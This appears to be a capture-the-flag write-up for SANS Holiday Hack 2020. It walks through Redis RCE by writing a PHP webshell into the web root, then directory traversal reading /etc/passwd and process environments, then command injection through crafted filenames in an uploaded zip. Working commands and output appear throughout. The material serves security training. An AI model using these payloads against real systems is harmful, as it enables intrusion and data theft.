Holiday Hack 2020: Broken Tag Generator
Objective
Terminal - Redis Bug Hunt
Challenge
Holly Evergreen will ask the conference attendees for help with the Redis terminal:
Hi, so glad to see you! I’m Holly Evergreen.
I’ve been working with this Redis-based terminal here.
We’re quite sure there’s a bug in it, but we haven’t caught it yet.
The maintenance port is available for
curl
ing, if you’d like to investigate.Can you check the source of the
index.php
page and look for the bug?I read something online recently about remote code execution on Redis. That might help!
I think I got close to RCE, but I get mixed up between commas and plusses.
You’ll figure it out, I’m sure!
As Santa, he just talks about the Tag Generator:
Hi Santa!
If you have a chance, I’d love to get your feedback on the Tag Generator updates!
I’m a little concerned about the file upload feature, but Noel thinks it will be fine.
Solution
Figure Out Maintenance Page
The terminal MOTD points out the maintenance page:
We need your help!!
The server stopped working, all that's left is the maintenance port.
To access it, run:
curl http://localhost/maintenance.php
We're pretty sure the bug is in the index page. Can you somehow use the
maintenance page to view the source code for the index page?
player@cddbda06c4e3:~$
Getting the page with curl
returns an error, with instructions to use the cmd
parameter:
player@cddbda06c4e3:~$ curl http://localhost/maintenance.php
ERROR: 'cmd' argument required (use commas to separate commands); eg:
curl http://localhost/maintenance.php?cmd=help
curl http://localhost/maintenance.php?cmd=mget,example1
I can use KEYS *
to list all the keys in redis:
player@cddbda06c4e3:~$ curl http://localhost/maintenance.php?cmd=KEYS,*
Running: redis-cli --raw -a '<password censored>' 'KEYS' '*'
example1
example2
I can fetch each of those:
player@cddbda06c4e3:~$ curl http://localhost/maintenance.php?cmd=get,example1
Running: redis-cli --raw -a '<password censored>' 'get' 'example1'
The site is in maintenance mode
player@cddbda06c4e3:~$ curl http://localhost/maintenance.php?cmd=get,example2
Running: redis-cli --raw -a '<password censored>' 'get' 'example2'
We think there's a bug in index.php
Redis RCE
I have shown getting RCE via Redis before in the Reddish box from HackTheBox. The steps are to flush the database, write a shell to the database, set a directory, set the filename, and save.
Start with flush:
player@cddbda06c4e3:~$ curl http://localhost/maintenance.php?cmd=flushall
Running: redis-cli --raw -a '<password censored>' 'flushall'
OK
Next I want to set a variable to be equal to a PHP webshell. Because there’s a bunch of special characters, I’ll url encode it. One way to do that is with a Python terminal:
>>> shell = "<?php system($_REQUEST['cmd']); ?>"
>>> urllib.parse.quote(shell)
'%3C%3Fphp%20system%28%24_REQUEST%5B%27cmd%27%5D%29%3B%20%3F%3E'
I can submit this:
player@f70529182c3d:~$ curl http://localhost/maintenance.php?cmd=set,shell,%3C%3Fphp%20system%28%24_REQUEST%5B%27cmd%27%5D%29%3B%20%3F%3E
Running: redis-cli --raw -a '<password censored>' 'set' 'shell' '<?php system($_REQUEST['\''cmd'\'']); ?>'
OK
Based on the command output, it seems to have worked.
Next I’ll set the directory and file:
player@01478434dfb0:~$ curl http://localhost/maintenance.php?cmd=config,set,dir,/var/www/html
Running: redis-cli --raw -a '<password censored>' 'config' 'set' 'dir' '/var/www/html'
OK
player@01478434dfb0:~$ curl http://localhost/maintenance.php?cmd=config,set,dbfilename,0xdf.php
Running: redis-cli --raw -a '<password censored>' 'config' 'set' 'dbfilename' '0xdf.php'
OK
player@01478434dfb0:~$ curl http://localhost/maintenance.php?cmd=save
Running: redis-cli --raw -a '<password censored>' 'save'
OK
If this worked, the db should now be saved at /var/www/html/0xdf.php
, and that file should contain a PHP webshell. I can try to get it with the command id
:
player@01478434dfb0:~$ curl http://localhost/0xdf.php?cmd=id -o-
REDIS0009� redis-ver5.0.3�
�edis-bits�@�ctime¢��_used-mem¨
aof-preamble��� shell"uid=33(www-data) gid=33(www-data) groups=33(www-data)
��W���
It worked. There’s some junk in there from the DB, but the webshell executed the given command. To complete the challenge, I just need to print the contents of index.php
:
player@01478434dfb0:~$ curl http://localhost/0xdf.php?cmd=cat+index.php -o-
REDIS0009� redis-ver5.0.3�
�edis-bits�@�ctime¢��_used-mem¨
aof-preamble��� shell"<?php
# We found the bug!!
#
# \ /
# .\-/.
# /\ () ()
# \/~---~\.-~^-.
# .-~^-./ | \---.
# { | } \
# .-~\ | /~-.
# / \ A / \
# \/ \/
#
echo "Something is wrong with this page! Please use http://localhost/maintenance.php to se
e if you can figure out what's going on"
?>
��W���
Broken Tag Generator
Hints
Holly has some suggestions for the Tag Generator:
See? I knew you could to it!
I wonder, could we figure out the problem with the Tag Generator if we can get the source code?
Can you figure out the path to the script?
I’ve discovered that enumerating all endpoints is a really good idea to understand an application’s functionality.
Sometimes I find the Content-Type header hinders the browser more than it helps.
If you find a way to execute code blindly, maybe you can redirect to a file then download that file?
Eight hints fill the badge for this one:
- We might be able to find the problem if we can get source code!
- Can you figure out the path to the script? It’s probably on error pages!
- Once you know the path to the file, we need a way to download it!
- Is there an endpoint that will print arbitrary files?
- If you’re having trouble seeing the code, watch out for the Content-Type! Your browser might be trying to help (badly)!
- I’m sure there’s a vulnerability in the source somewhere… surely Jack wouldn’t leave their mark?
- Remember, the processing happens in the background so you might need to wait a bit after exploiting but before grabbing the output!
- If you find a way to execute code blindly, I bet you can redirect to a file then download that file!
Enumeration
Site
The site is a way to generate tags from clip-art and any user uploaded images as well as text:
Clicking on “Show Clipart” presents a window with lots of Christmas-themed images, and clicking on them adds them to the canvas:
The “Select file(s)” button allows the user to add an image from their local machine.
The “Save Tag” button prompts for a location to save a PNG file.
Requests
For the most part, everything is done locally. On first load, all the clip-art is downloaded to the local session and local Javascript is used to add it to the canvas. Saving the image just saves the local image. The only button that creates a network request is the “Select file(s)” button, after selecting a local file, clicking that button again will upload it to the server with a POST request to /upload
:
POST /upload HTTP/1.1
Host: tag-generator.kringlecastle.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://tag-generator.kringlecastle.com/
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------2408409041727203638585171250
Content-Length: 12298
Connection: close
-----------------------------2408409041727203638585171250
Content-Disposition: form-data; name="my_file[]"; filename="avatar.png"
Content-Type: image/png
.PNG[binary data]
-----------------------------2408409041727203638585171250--
The response gives a new filename for the image:
HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Sat, 02 Jan 2021 20:39:04 GMT
Content-Type: application/json
Content-Length: 44
Connection: close
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=15552000; includeSubDomains
X-XSS-Protection: 1; mode=block
X-Robots-Tag: none
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none
["6da95f9f-9178-47c9-82a6-697d5acd44e1.png"]
Immediately after, the page requests that image with a GET request to /image?id=[new name]
.
Server Identification
There’s no indication in the response headers as to what kind of server is hosting the site other than NGINX. Wondering if it might be PHP, I tried https://tag-generator.kringlecastle.com/index.php
. It’s not PHP, as this caused an error:
The site is running Ruby, and now the address of the source is known.
Directory Traversal
The request to get the image with an id
parameter that represents the image filename is vulnerable to a directory traversal attack. For example:
root@kali# curl https://tag-generator.kringlecastle.com/image?id=../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
app:x:1000:1000:,,,:/home/app:/bin/bash
With this vulnerability and the leak of the location of the source for the application, pulling the source is easy:
root@kali# curl -s https://tag-generator.kringlecastle.com/image?id=../../app/lib/app.rb > app.rb
It turns out this directory traversal can also leak the flag needed for the challenge. Environment variables for each process in Linux are stored in /proc/[pid]/environment
. The challenge here is that I don’t know the PID of the current process. I was considering setting up a Bash loop to try a lot of PIDs, and in setting that up, tried grabbing the environ
file from pid 1:
root@kali# curl 'https://tag-generator.kringlecastle.com/image?id=../../../proc/1/environ' -o-
PATH=/usr/local/bundle/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=cbf2810b7573RUBY_MAJOR=2.7RUBY_VERSION=2.7.0RUBY_DOWNLOAD_SHA256=27d350a52a02b53034ca0794efe518667d558f152656c2baaf08f3d0c8b02343GEM_HOME=/usr/local/bundleBUNDLE_SILENCE_ROOT_WARNING=1BUNDLE_APP_CONFIG=/usr/local/bundleAPP_HOME=/appPORT=4141HOST=0.0.0.0GREETZ=JackFrostWasHereHOME=/home/app
It comes out without newlines, but at the end:
GREETZ=JackFrostWasHere
Flag: JackFrostWasHere
RCE
Based on the hints and the fact that the challenge designers put the flag in an environment variable, I suspect the intended path was to analyze the source code and find RCE, which is there.
There are two parts that are commented out by Jack Frost. The first is in the /image
route, which allows for the directory traversal:
# Validation is boring! --Jack
# if params['id'] !~ /^[a-zA-Z0-9._-]+$/
# return 400, 'Invalid id! id may contain letters, numbers, period, underscore, and hyphen'
# end
The other is in the handle_zip
function, doing input validation on the extracted filenames from a zip file:
# I wonder what this will do? --Jack
# if entry.name !~ /^[a-zA-Z0-9._-]+$/
# raise 'Invalid filename! Filenames may contain letters, numbers, period, underscore, and hyphen'
# end
Looking at the source code, the handle_image
function jumps out as potentially vulnerable to command injection:
def handle_image(filename)
out_filename = "#{ SecureRandom.uuid }#{File.extname(filename).downcase}"
out_path = "#{ FINAL_FOLDER }/#{ out_filename }"
# Resize and compress in the background
Thread.new do
if !system("convert -resize 800x600\\> -quality 75 '#{ filename }' '#{ out_path }'")
LOGGER.error("Something went wrong with file conversion: #{ filename }")
else
LOGGER.debug("File successfully converted: #{ filename }")
end
end
# Return just the filename - we can figure that out later
return out_filename
end
It’s using the ImageMagick convert
binary to resize the uploaded images. If a user can control the filename
or out_path
variables, they can inject commands.
Image files are saved under a hash filename. But files in zip archives are extracted and passed to process_file
, which, if the file has a .jpg
, .jpeg
, or .png
extension, will pass the file to handle_image
.
I’ll create a file:
$ touch - "0xdf'; id > 0xdf; #.png"
This filename would make the system
command:
system("convert -resize 800x600\\> -quality 75 '0xdf'; id > 0xdf; #.png' '/tmp/uuid'")
Which is passed to Bash as:
convert -resize 800x600\\> -quality 75 '0xdf'; id > 0xdf; #.png' '/tmp/uuid'
I’ll add that to a zip:
$ zip 0xdf.zip 0xdf\'\;\ id\ \>\ 0xdf\;\ #.png
adding: 0xdf'; id > 0xdf; #.png (stored 0%)
And upload that to the site:
$ curl -s -k -F my_file[]=@0xdf.zip https://tag-generator.kringlecastle.com/upload
["0567a2ee-0492-440f-bac8-d9cff35cb385.png","5fef645e-6928-4c05-96be-14ba95910f02.png","842c7860-b4db-4e5e-8f5a-c8af79cdecfc.png"]
I’ll check the results using the the /image
route:
# curl -s https://tag-generator.kringlecastle.com/image?id=0xdf
uid=1000(app) gid=1000(app) groups=1000(app)
I can do the same thing to get the environment variables:
$ touch - "0xdf'; env > 0xdf; #.png"
$ zip 0xdf.zip 0xdf\'\;\ env\ \>\ 0xdf\;\ #.png
updating: 0xdf'; env > 0xdf; #.png (stored 0%)
$ curl -s -k -F my_file[]=@0xdf.zip https://tag-generator.kringlecastle.com/upload
["246942b2-8483-447a-8d3b-68239a20aaf3.png","fd2cd201-45e9-4ff7-9d96-db8e0949df2d.png","ffeef5a0-7187-4658-b671-6d3aef9e5379.png"]
$ curl -s https://tag-generator.kringlecastle.com/image?id=0xdf
RUBY_MAJOR=2.7
GREETZ=JackFrostWasHere
HOSTNAME=cbf2810b7573
PORT=4141
HOME=/home/app
BUNDLE_APP_CONFIG=/usr/local/bundle
RUBY_VERSION=2.7.0
RACK_ENV=development
APP_HOME=/app
PATH=/usr/local/bundle/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOST=0.0.0.0
GEM_HOME=/usr/local/bundle
RUBY_DOWNLOAD_SHA256=27d350a52a02b53034ca0794efe518667d558f152656c2baaf08f3d0c8b02343
PWD=/tmp
BUNDLE_SILENCE_ROOT_WARNING=1
To see it more clearly:
$ curl -s https://tag-generator.kringlecastle.com/image?id=0xdf | grep GREETZ
GREETZ=JackFrostWasHere